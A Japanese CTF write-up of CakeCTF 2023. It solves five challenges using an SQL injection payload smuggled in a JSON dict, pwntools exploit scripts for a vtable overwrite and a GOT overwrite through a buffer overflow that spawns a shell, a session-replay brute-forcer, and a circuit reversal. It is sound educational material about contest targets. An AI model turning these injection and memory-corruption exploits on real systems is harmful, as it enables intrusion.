CakeCTF2023
CakeCTF楽しかったです.チームtrimscashで参加して86位でした.
開催ありがとうございました.
解けそうで解けなかった問題が何問かあって悔しかったですが楽しかったです!
一部の簡単な問題しか解けてませんがwriteup書きます.
CountryDB [Web]
Do you know which country code 'CA' and 'KE' are for?
Search country codes here!
#!/usr/bin/env python3
import flask
import sqlite3
app = flask.Flask(__name__)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
return flask.render_template("index.html")
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
if __name__ == '__main__':
app.run(debug=True)
国のコードから国旗を教えてくれるアプリです.
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
code
にSQLInjectionのpayloadを入れられれば勝ちです.
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code'] ##### codeの型を制限していない.
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
postで送られるjsonの"code"をcode
変数に入れていますが,この"code"の型を制限していません.
なので以下のようなJSONでも処理してしまいます.
{
"code": {"aa": 1, "bb": 2}
}
今codeは文字数2の文字列ではなく,要素数2の辞書型です.なので続く要素数の制限を突破し,db_search
に移ります.
ここで,以下のように辞書型が展開されたときpythonではどのようになるか確認してみましょう.
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
このように展開するときに'
を出力してくれます.なので対象のSQL文の'
が閉じてjsonのkeyに入れた任意のSQLを動かすことができます.
最終的にpayloadは以下のようになりました.
{
"code":{") union select flag from flag where 1=1 --":"","b":""}
}
送るとフラグがもらえました!
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}
vtable4b [Pwn]
Do you understand what vtable is?
nc vtable4b.2023.cakectf.com 9000
サーバーの情報だけが渡されます.添付ファイルはありませんが実行すると丁寧にソースコードとwin関数のアドレスや,ヒープの状態を教えてくれます.
vtable
についてはよくわかっていないのですが,仮想関数のポインタのテーブルがあって,そのテーブルへのポインタはメンバーと同じように保管されるようです(適当すぎるので注意
何がともあれ,messageに対してはいくらでも書き込めるのでvtableのアドレスは書き換えることができます.
またmessageの中でwin関数へのアドレスを書き込んでおけば関数のポインタを指すポインタを作ることができます.
vtableを書き換えた状態で関数を呼び出せば任意の関数を呼び出せます.
あとはソルバーを書くだけです.
from pwn import *
io = remote("vtable4b.2023.cakectf.com", 9000)
io.recvuntil(b" <win> = ")
win=p64(int(io.readline()[:-1],base=16)) # win関数のアドレス取得
print(win)
## ヒープ上に作るvtableへのアドレスの取得
io.sendline(b"3")
io.recvuntil(b"message (=")
io.readline()
io.readline()
heap=p64(int(io.readline()[:14],base=16))
## 上で取得したヒープのアドレスに合わせてwin関数のアドレスを書き込みvtableを上書きするpayload
payload=b"a"*8+win+b"b"*16+heap
## 送信
io.sendlineafter(b"3. Display heap", b"2")
io.sendline(payload)
# 関数の実行
io.sendlineafter(b"3. Display heap", b"1")
io.interactive()
print(heap)
やったね
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
TOWFL [Web, Cheat]
Do you speak the language of wolves?
Prove your skill here!
ソースコードを読むと100点を取れればフラグがもらえそうです.
@app.route("/api/score", methods=['GET'])
def api_score():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
# Calculate score
challs = json.loads(db().get(flask.session['eid']))
score = 0
for chall in challs:
for result in chall['results']:
if result is True:
score += 1
# Is he/she worth giving the flag?
if score == 100:
flag = os.getenv("FLAG")
else:
flag = "Get perfect score for flag"
# Prevent reply attack
flask.session.clear()
return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
以下のapi_submitで問題に解答し上のapi_scoreで採点してくれます.
@app.route("/api/submit", methods=['POST'])
def api_submit():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
try:
answers = flask.request.get_json()
except:
return {'status': 'error', 'reason': 'Invalid request.'}
# Get answers
eid = flask.session['eid']
challs = json.loads(db().get(eid))
if not isinstance(answers, list) \
or len(answers) != len(challs):
return {'status': 'error', 'reason': 'Invalid request.'}
# Check answers
for i in range(len(answers)):
if not isinstance(answers[i], list) \
or len(answers[i]) != len(challs[i]['answers']):
return {'status': 'error', 'reason': 'Invalid request.'}
for j in range(len(answers[i])):
challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]
# Store information with results
db().set(eid, json.dumps(challs))
return {'status': 'ok'}
知り合いの狼に育てられた狼語が母国語の人に満点を取ってもらうのもいいですが
コードを読むと以下で得られるセッションの情報があれば何回でも回答しなおして採点してもらえるということがわかります.
お礼のお肉を用意せずに済みますね.
@app.route("/api/start", methods=['POST'])
def api_start():
if 'eid' in flask.session:
eid = flask.session['eid']
else:
eid = flask.session['eid'] = os.urandom(32).hex()
# Create new challenge set
db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
return {'status': 'ok'}
具体的には1問ずつすべての選択肢を試してスコアに変化があれば正解ということなのでこれを自動化するソルバーを書きます.
import requests
import time
url="http://towfl.2023.cakectf.com:8888/"
score_url="http://towfl.2023.cakectf.com:8888/api/score"
submit_url="http://towfl.2023.cakectf.com:8888/api/submit"
cookie={"session":".eJwFwYkNgDAIAMBdmICvPG5TgSbOYNzduxfmabigURbtSlo0hZWh1u3mOE4sPBKa1ISKHHoyY88pvae5trMFfD_joxPk.ZU89sA.se7UaZFqXEKDZ6i-GZR16XAQoI8"}
def flag():
time.sleep(0.5)
r=requests.get(score_url,cookies=cookie)
return r.json()["data"]["flag"]
def score():
time.sleep(0.5)
r=requests.get(score_url,cookies=cookie)
return r.json()["data"]["score"]
def submit(li):
time.sleep(0.5)
r=requests.post(submit_url,cookies=cookie,json=li)
return r
def find_correct(i_index,j_index):
ans=[[6]*10 for i in range(10)]
for i in range(4):
ans[i_index][j_index]=i
submit(ans)
s=score()
if s==1:
return i
return -1
ans=[[6]*10 for i in range(10)]
for i in range(10):
for j in range(10):
ans[i][j]=find_correct(i,j)
print(ans)
print(submit(ans))
print(flag())
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}
nande [Rev]
What makes NAND gates popular?
nand.exe
というバイナリが渡されるので解析をします.
ghidra
で逆コンパイルすると以下の通り.
コマンドライン引数で受け取った文字列を1ビットごとに分解してInputSequence
という配列に入れ,その後CIRCUIT
という関数に渡してOutputSequence
に実行結果を入れているようです.その後AnswerSequence
と比較しています.
AnswerSequence
には以下のようにデータが入っており多分これはFlag
をCIRCUIT
に入れたものでしょう.なのでこのデータからFlag
を求めることができれば勝ちです.
以下ghidra
のCopy Special
でコピーしたデータ.(便利
[ 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00 ]
さてCIRCUIT
を見ていきましょう.以下を見るとわかる通り,すべての要素(ビット)を隣の要素とMODULE
に入れて(最終要素は0x01と一緒に入力)その結果を逐次param_2(OutputSequence)
に入れ最終的にまたparam_1(InputSequence)
に入れてというのを0x1234回繰り返しています.
ではMODULE
を見てみましょう.
NAND
は見たところ普通にNANDでした.でもよくわからないのでpythonかなんかで書き直します.
def nand(a,b):
return not(a and b)
def module(a,b):
o1=nand(a,b)
o2=nand(a,o1)
o3=nand(b,o1)
o4=nand(o2,o3)
return o4
a XOR b = c
c XOR b = a
なのでCIRCUIT
とは逆の手順を踏めばAnswerSequence
からFlagを求めることができます.
以下適当に書いたソルバー
ans=[ 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00 ]
flag=[0 for i in range(0x100)]
def nand(a,b):
return not(a and b)
def module(a,b): # xor
o1=nand(a,b)
o2=nand(a,o1)
o3=nand(b,o1)
o4=nand(o2,o3)
return o4
def chr_list(a):
l=[]
t=ord(a)
for i in reversed(f"{t:>08b}"):
if i=="1":
l.append(1)
else:
l.append(0)
return l
def list_to_string(a):
l=""
for i in range(len(a)//8):
t=0
t|=a[7+i*8]
for j in reversed(range(7)):
t=t<<1
t|=a[j+i*8]
# print(t)
l+=chr(t)
return l
tes = chr_list("a")
print(tes)
print(list_to_string(tes))
for i in range(0x1234):
t=1
for j in reversed(range(0x100)):
# print(j)
t=ans[j]^t
flag[j]=t
ans=flag.copy()
print(list_to_string(flag))
print(list_to_string(ans))
やったね
CakeCTF{h2fsCHAo3xOsBZefcWudTa4}
bofww [Pwn]
buffer overflow with win function
nc bofww.2023.cakectf.com 9002
ソースコードは以下の通り.
#include <iostream>
void win() {
std::system("/bin/sh");
}
void input_person(int& age, std::string& name) {
int _age;
char _name[0x100];
std::cout << "What is your first name? ";
std::cin >> _name;
std::cout << "How old are you? ";
std::cin >> _age;
name = _name;
age = _age;
}
int main() {
int age;
std::string name;
input_person(age, name);
std::cout << "Information:" << std::endl
<< "Age: " << age << std::endl
<< "Name: " << name << std::endl;
return 0;
}
__attribute__((constructor))
void setup(void) {
std::setbuf(stdin, NULL);
std::setbuf(stdout, NULL);
}
cppで書かれているPwnです.とりあえずstringの挙動がよくわからなかったので調べると,作問者の方が書かれたわかりやすい資料がありました.
次のような0x20バイトの構造になっています。
+00h: <データへのポインタ>
+08h: <データのサイズ>
+10h: <データ領域の容量>あるいは<データ本体+0h>
+18h: <未使用>あるいは<データ本体+8h>
stringの構造は以上のようになっているようです.
またどうやらstringは代入されるとデータへのポインタ
がさす領域に右辺の文字列がコピーされるということがわかります.(データの容量内の場合)(入りきらない場合領域を再確保する.
input_person
内でバッファオーバーフローがあるのでそれを利用し,name (stirng)
のデータへのポインタ
を__stack_chk_fail
関数のgot
のアドレスに上書きします.
その上書きしたデータへのポインタ
へは入力した文字列がコピーされるので,payloadの先頭にはwin
関数のアドレスを入れておきます.すると__stack_chk_fail
関数のgot
にwin関数のアドレスが入り,__stack_chk_fail
が呼ばれたときにwin関数が呼ばれるようになります.
ここで__stack_chk_fail
関数はスタック破壊が検知されたときに呼び出される関数です.
上のようにCanary
と呼ばれるデータを関数のが始まるときにスタックに入れて置きそれが関数の最後で書き換わっていないかどうか判別し書き換わっていたら__stack_chk_fail
関数が呼ばれます.
canary
については以下がわかりやすいです.
今回はinput_person
からmain
のスタックまでオーバーフローして書き換えているので絶対に呼ばれます.
got
に関しては以下がわかりやすいと思います.(説明がめんどくさい.
そんな感じでソルバーを書くと以下のようになりました.
from pwn import *
# io = process("./bofww")
io = remote("bofww.2023.cakectf.com", 9002)
win=p64(0x4012f6)
target_got=p64(0x404050) # stack_chk_fail
stack_diff=0x130
payload=win+b"a"*(stack_diff-len(win))+target_got+p64(0x200)+p64(0x200)
io.sendlineafter(b"What is your first name?", payload)
io.sendlineafter(b"How old are you?", b"1")
io.interactive()
実行するとフラグがもらえました!
やったね!
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
感想
改めて楽しかったです!
vtableとかcppのpwnはあまり知らなかったので新たな知見が得られて楽しかったです.
bofww
の続編のbofwow
というのも解けそうだったのですが無理でした.
ほかにはcryptoのwarmupもとけなくて悲しかったですね..
とても楽しかったです.開催ありがとうございました!
稚拙な文ではありましたが読んでいただきありがとうございました.